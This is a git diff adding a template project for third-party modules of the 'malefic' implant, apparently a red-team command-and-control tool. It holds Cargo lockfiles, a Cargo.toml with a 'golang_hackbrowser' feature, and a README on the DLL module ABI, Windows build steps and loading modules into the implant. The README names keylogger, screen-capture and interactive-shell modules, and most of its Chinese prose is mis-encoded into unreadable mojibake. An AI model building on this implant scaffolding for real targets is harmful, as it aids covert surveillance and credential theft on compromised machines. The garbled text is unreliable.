"rustix", + "windows-sys 0.59.0", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tiny-keccak" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" +dependencies = [ + "crunchy", +] + +[[package]] +name = "tokio" +version = "1.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27ad5e34374e03cfffefc301becb44e9dc3c17584f414349ebe29ed26661822d" +dependencies = [ + "pin-project-lite", + "tokio-macros", +] + +[[package]] +name = "tokio-macros" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c55a2eff8b69ce66c84f85e1da1c233edc36ceb85a2058d11b0d6a3c7e7569c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "typenum" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" + +[[package]] +name = "unicode-ident" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasi" +version = "0.14.2+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" +dependencies = [ + "wit-bindgen-rt", +] + +[[package]] +name = "windows" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" +dependencies = [ + "windows-core", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-strings", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-implement" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-link" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-strings" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" +dependencies = [ + "windows-result", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.3", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91" +dependencies = [ + "windows-link 0.1.3", + "windows_aarch64_gnullvm 0.53.0", + "windows_aarch64_msvc 0.53.0", + "windows_i686_gnu 0.53.0", + "windows_i686_gnullvm 0.53.0", + "windows_i686_msvc 0.53.0", + "windows_x86_64_gnu 0.53.0", + "windows_x86_64_gnullvm 0.53.0", + "windows_x86_64_msvc 0.53.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" + +[[package]] +name = "wit-bindgen-rt" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" +dependencies = [ + "bitflags", +] + +[[package]] +name = "zerocopy" +version = "0.8.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "efbb2a062be311f2ba113ce66f697a4dc589f85e78a4aea276200804cea0ed87" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e8bc7269b54418e7aeeef514aa68f8690b8c0489a06b0136e5f57c4c5ccab89" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/malefic-3rd-template/Cargo.toml b/malefic-3rd-template/Cargo.toml new file mode 100644 index 0000000..4dc2fe9 --- /dev/null +++ b/malefic-3rd-template/Cargo.toml @@ -0,0 +1,78 @@ +[workspace] +members = [ + ".", + "malefic-3rd-rust", + "malefic-3rd-go", + "malefic-3rd-c", + "malefic-3rd-zig", + "malefic-3rd-nim", +] + +[workspace.dependencies] +malefic-proto = { git = "https://github.com/chainreactors/malefic", branch = "crates" } +malefic-module = { git = "https://github.com/chainreactors/malefic", branch = "crates" } +malefic-runtime = { git = "https://github.com/chainreactors/malefic", branch = "crates", default-features = false } +malefic-common = { git = "https://github.com/chainreactors/malefic", branch = "crates", default-features = false, features = ["random_nanorand"] } + +futures = "0.3.31" +prost = { git = "https://github.com/chainreactors/prost.git", branch = "skip-field-names-v0.14.1" } + +# Pin transitive deps to versions compatible with Rust 1.74 (avoid edition 2024 crates) +crypto-common = "=0.1.6" +bytes = "=1.10.1" +hashbrown = "=0.15.5" +getrandom = "=0.2.16" + +[package] +name = "malefic-3rd-template" +version = "0.1.0" +edition = "2021" + +[lib] +name = "malefic_3rd" +path = "src/lib.rs" +crate-type = ["cdylib", "rlib"] + +[features] +default = ["as_cdylib", "full"] +as_cdylib = [] + +full = ["rust_module", "golang_module", "c_module", "zig_module", "nim_module"] + +rust_module = ["malefic-3rd-rust"] +golang_module = ["malefic-3rd-go"] +golang_hackbrowser = ["malefic-3rd-go/go_hackbrowser"] +c_module = ["malefic-3rd-c"] +zig_module = ["malefic-3rd-zig"] +nim_module = ["malefic-3rd-nim"] + +[dependencies] +malefic-runtime = { workspace = true } +malefic-3rd-rust = { path = "malefic-3rd-rust", optional = true } +malefic-3rd-go = { path = "malefic-3rd-go", optional = true } +malefic-3rd-c = { path = "malefic-3rd-c", optional = true } +malefic-3rd-zig = { path = "malefic-3rd-zig", optional = true } +malefic-3rd-nim = { path = "malefic-3rd-nim", optional = true } + +# Pin transitive deps +crypto-common = { workspace = true } +bytes = { workspace = true } +hashbrown = { workspace = true } +getrandom = { workspace = true } + +[dev-dependencies] +libloading = "0.8" +malefic-runtime = { workspace = true, features = ["host", "tokio"] } +malefic-module = { workspace = true } +malefic-proto = { workspace = true } +malefic-common = { workspace = true, features = ["tokio"] } +futures = { workspace = true } +futures-channel = "0.3" +tokio = { version = "1", features = ["macros", "rt-multi-thread"] } + +[profile.release] +panic = "abort" +opt-level = "z" +strip = true +lto = "fat" +codegen-units = 1 diff --git a/malefic-3rd-template/README.md b/malefic-3rd-template/README.md new file mode 100644 index 0000000..21eca80 --- /dev/null +++ b/malefic-3rd-template/README.md @@ -0,0 +1,242 @@ +# Malefic 3rd Party Module Template + +用于创建 malefic implant 第三方模å—的模æ¿é¡¹ç›®ï¼Œæ”¯æŒ **Rust / Go / C / Zig / Nim** 五ç§è¯­è¨€ç¼–写模å—。 + +Malefic 本体采用最å°åŒ–ä¾èµ–设计,所有需è¦å¼•入第三方库的 module 都在 3rd 中实现。官方维护的公开 3rd module è§ [malefic-3rd](https://github.com/chainreactors/malefic/tree/master/malefic-3rd)。 + +## 项目结构 + +``` +malefic-3rd-template/ +├── Cargo.toml # Workspace æ ¹ + cdylib å…¥å£ +├── src/lib.rs # æ¨¡å—æ³¨å†Œå…¥å£ (rt_* C ABI 导出) +├── malefic-3rd-ffi/ # 共享 FFI 工具库 +│ └── src/lib.rs # HandlerFn, ffi_handler_loop, RtModule re-exports +├── malefic-3rd-rust/ # Rust æ¨¡å— +├── malefic-3rd-go/ # Go æ¨¡å— (åŒå‘æµå¼ FFI) +├── malefic-3rd-c/ # C æ¨¡å— (nanopb + åŒæ­¥ handler) +├── malefic-3rd-zig/ # Zig æ¨¡å— (nanopb + åŒæ­¥ handler) +├── malefic-3rd-nim/ # Nim æ¨¡å— (nanopb + åŒæ­¥ handler) +└── tests/test_load_dll.rs # é›†æˆæµ‹è¯• (动æ€åŠ è½½ DLL 验è¯) +``` + +## Runtime åè®® + +3rd-party 模å—通过 `malefic-runtime` çš„ **C ABI åè®®**导出,解决了跨 Rust 版本/target çš„ ABI 兼容性问题。 + +### DLL 导出(7 个 `extern "C"` 函数) + +| 导出函数 | ç­¾å | 说明 | +|----------|------|------| +| `rt_abi_version` | `() -> u32` | 返回 ABI 版本å·ï¼ˆå½“å‰ä¸º 2) | +| `rt_module_count` | `() -> u32` | æ¨¡å—æ•°é‡ | +| `rt_module_name` | `(index: u32) -> RtBuffer` | 第 i 个模å—çš„åç§° | +| `rt_module_create` | `(name, len) -> *mut Handle` | 创建模å—实例 | +| `rt_module_destroy` | `(handle)` | é”€æ¯æ¨¡å—实例 | +| `rt_module_run` | `(handle, task_id, ctx, send, recv, try_recv, free, out) -> Status` | 执行模å—(阻塞) | +| `rt_free` | `(buf)` | 释放模å—侧分é…çš„ buffer | + +### æ•°æ®é“¾è·¯ + +``` +┌─────────────────── Implant (Host) ───────────────────┠+│ │ +│ Server Command → Scheduler → module.run(channel) │ +│ ↓ ↓ │ +│ async Input ──→ input_forwarder ──→ std::sync::mpsc │ +│ channel (encode Body Sender ─────────────→ bridge_recv() ──→ ch.recv() +│ → Spite bytes) │ ↓ +│ │ ┌─── Module DLL ──────────┠+│ async Output â†â”€â”€ output_forwarder â†â”€â”€ std::sync::mpsc│ │ │ +│ channel (decode Spite Receiver â†â”€â”€â”€â”€â”€â”€â”€â”€â”€â”€ bridge_send() â†â”€â”€ ch.send() +│ → TaskResult) │ │ │ +│ ↓ │ │ RtModule::run(ch) │ +│ Collector → encrypt → send to Server │ │ ch.recv() → å¤„ç† â”‚ +│ │ │ ch.send() → å“应 │ +│ æ¯ä¸ª module 在独立的 spawn_blocking 线程中è¿è¡Œ │ │ return Done(body) │ +│ ä¸é˜»å¡žä¸» async è¿è¡Œæ—¶ │ └─────────────────────────┘ +└───────────────────────────────────────────────────────┘ +``` + +### 支æŒçš„æ•°æ®æµæ¨¡å¼ + +| æ¨¡å¼ | æè¿° | 示例 | +|------|------|------| +| **请求-å“应** | recv 一次, return Done | pwd, cat | +| **æµå¼ä¸Šä¼ ** | recv 多次 (UploadRequest + Block×N), send 中间 ack | upload | +| **æµå¼ä¸‹è½½** | recv 请求, send 多次 chunk | download | +| **Module æŒç»­æŽ¨é€** | 无需 input, æŒç»­ send | keylogger, screen capture | +| **Host æŒç»­æŽ¨é€** | æŒç»­ recv, 最终 return 汇总 | æ•°æ®æ”¶é›† | +| **åŒå‘æŒç»­** | æŒç»­ recv + send 交替 | äº¤äº’å¼ shell | + +### å†…å­˜æ‰€æœ‰æƒ + +| æ–¹å‘ | åˆ†é…æ–¹ | 释放方 | 机制 | +|------|--------|--------|------| +| `ch.send()` (module→host) | Module | Module (回调返回åŽ) | Host 在 bridge_send 内å¤åˆ¶ | +| `ch.recv()` (host→module) | Host | Module è°ƒ host_free | bridge_host_free é‡å»º Vec drop | +| `final_out` (module→host) | Module (RtBuffer::from_vec) | Host è°ƒ rt_free | å„自 allocator 释放 | + +**æ— è·¨ allocator 释放,纯 C ABI,跨 Rust 版本安全。** + +## Feature 按需加载 + +通过 Cargo feature 控制编译哪些模å—,未å¯ç”¨çš„æ¨¡å—ä¸ä¼šç¼–译进产物。 + +```toml +[features] +full = ["rust_module", "golang_module", "c_module", "zig_module", "nim_module"] + +rust_module = ["malefic-3rd-rust"] +golang_module = ["malefic-3rd-go"] +c_module = ["malefic-3rd-c"] +zig_module = ["malefic-3rd-zig"] +nim_module = ["malefic-3rd-nim"] +``` + +### 选择性构建 + +```bash +# å…¨éƒ¨æ¨¡å— +cargo build --target x86_64-pc-windows-gnu --release + +# åªè¦ Rust + Go +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,rust_module,golang_module" --release + +# åªè¦ C + Zig +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,c_module,zig_module" --release +``` + +## 外语 FFI åè®® + +æ‰€æœ‰éž Rust 语言模å—éµå¾ªç›¸åŒçš„ C ABI handler å议: + +| 导出函数 | ç­¾å | 说明 | +|----------|------|------| +| `XxxModuleName()` | `() -> *const char` | 返回模å—å | +| `XxxModuleHandle()` | `(task_id, req_data, req_len, &resp_data, &resp_len) -> int` | åŒæ­¥å¤„ç†è¯·æ±‚ | + +- 请求/å“应使用 protobuf åºåˆ—化(C/Zig/Nim 用 nanopb,Go 用 protobuf-go) +- å“应 buffer 由模å—ä¾§ `malloc` 分é…,Rust 侧通过 `free()` 释放 +- Go 模å—é¢å¤–支æŒåŒå‘æµå¼é€šä¿¡ï¼ˆSend/Recv/CloseInput) + +外语 handler 通过 `ffi_handler_loop()` 桥接到 `RtModule::run()` å议: + +``` +外语 handler æ•°æ®é“¾è·¯: + + RtChannel.recv() + ↓ è§£ç  Body::Request + ↓ encode_request() → protobuf bytes + ↓ XxxModuleHandle(task_id, req_bytes) → resp_bytes + ↓ decode_response(resp_bytes) + ↓ 缓冲上一个结果 + RtChannel.send(上一个结果) ↠中间å“应 + ↓ 循环直到 EOF + return Done(最åŽä¸€ä¸ªç»“æžœ) ↠最终å“应 +``` + +### Protobuf å议(模å—使用的核心消æ¯ï¼‰ + +```protobuf +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array = 4; +} +``` + +## æ·»åŠ æ–°æ¨¡å— + +### Rust æ¨¡å— + +```rust +// malefic-3rd-xxx/src/lib.rs +use malefic_3rd_ffi::*; + +pub struct MyModule; + +impl RtModule for MyModule { + fn name() -> &'static str { "my_module" } + fn new() -> Self { Self } + + fn run(&mut self, task_id: u32, ch: &RtChannel) -> RtResult { + let body = ch.recv().map_err(|e| RtResult::Error(e.to_string()))?; + // 处ç†... + RtResult::Done(Body::Response(Response { + output: "result".into(), + ..Default::default() + })) + } +} +``` + +### C / Zig / Nim æ¨¡å— + +```rust +// malefic-3rd-xxx/src/lib.rs +use malefic_3rd_ffi::*; + +extern "C" { + fn XxxModuleName() -> *const c_char; + fn XxxModuleHandle(task_id: c_uint, ...) -> c_int; +} + +pub struct XxxModule { name: String } + +impl RtModule for XxxModule { + fn name() -> &'static str { "xxx_module" } + fn new() -> Self { + Self { name: unsafe { ffi_module_name(XxxModuleName, false) } } + } + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + ffi_handler_loop(id, ch, XxxModuleHandle, "XxxModuleHandle") + } +} +``` + +### 注册 + +1. 创建 `malefic-3rd-xxx/` crate +2. æ ¹ `Cargo.toml` 添加 feature + optional dependency +3. `src/lib.rs` çš„ `build_registry()` 中添加: + +```rust +#[cfg(feature = "xxx_module")] +v.push(RtModuleDescriptor { + name_fn: malefic_3rd_xxx::XxxModule::name, + constructor: || Box::new(malefic_3rd_xxx::XxxModule::new()), +}); +``` + +## 构建与测试 + +```bash +# 构建(全部模å—) +cargo build --target x86_64-pc-windows-gnu --features full --release + +# 测试 +cargo test --target x86_64-pc-windows-gnu --features full -- --nocapture + +# 加载到 implant +load_module --path target/x86_64-pc-windows-gnu/release/malefic_3rd.dll +``` + +## 跨版本兼容性 + +æ¨¡å— DLL å¯ä»¥ç”¨**ä¸åŒçš„ Rust 版本**或**ä¸åŒçš„ target(msvc/gnu)**ç¼–è¯‘ï¼ŒåŠ è½½åˆ°ç”¨ä»»æ„ Rust 版本编译的 host 中。已验è¯ï¼š + +- rustc 1.81 / 1.82 / 1.93 +- x86_64-pc-windows-msvc / x86_64-pc-windows-gnu +- msvc host 加载 gnu DLL,gnu host 加载 msvc DLL diff --git a/malefic-3rd-template/malefic-3rd-c/Cargo.lock b/malefic-3rd-template/malefic-3rd-c/Cargo.lock new file mode 100644 index 0000000..2c3aee5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/Cargo.lock @@ -0,0 +1,1097 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anyhow" +version = "1.0.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f0e0fee31ef5ed1ba1316088939cea399010ed7731dba877ed44aeb407a75ea" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "bitflags" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" + +[[package]] +name = "bumpalo" +version = "3.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5dd9dc738b7a8311c7ade152424974d8115f2cdad61e8dab8dac9f2362298510" + +[[package]] +name = "bytes" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" + +[[package]] +name = "cc" +version = "1.2.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "chrono" +version = "0.4.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fac4744fb15ae8337dc853fee7fb3f4e48c0fbaa23d0afe49c447b4fab126118" +dependencies = [ + "iana-time-zone", + "num-traits", + "windows-link", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cron" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5877d3fbf742507b66bc2a1945106bd30dd8504019d596901ddd012a4dd01740" +dependencies = [ + "chrono", + "once_cell", + "winnow", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "fixedbitset" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d674e81391d1e1ab681a28d99df07927c6d4aa5b027d7da16ba32d1d21ecd99" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 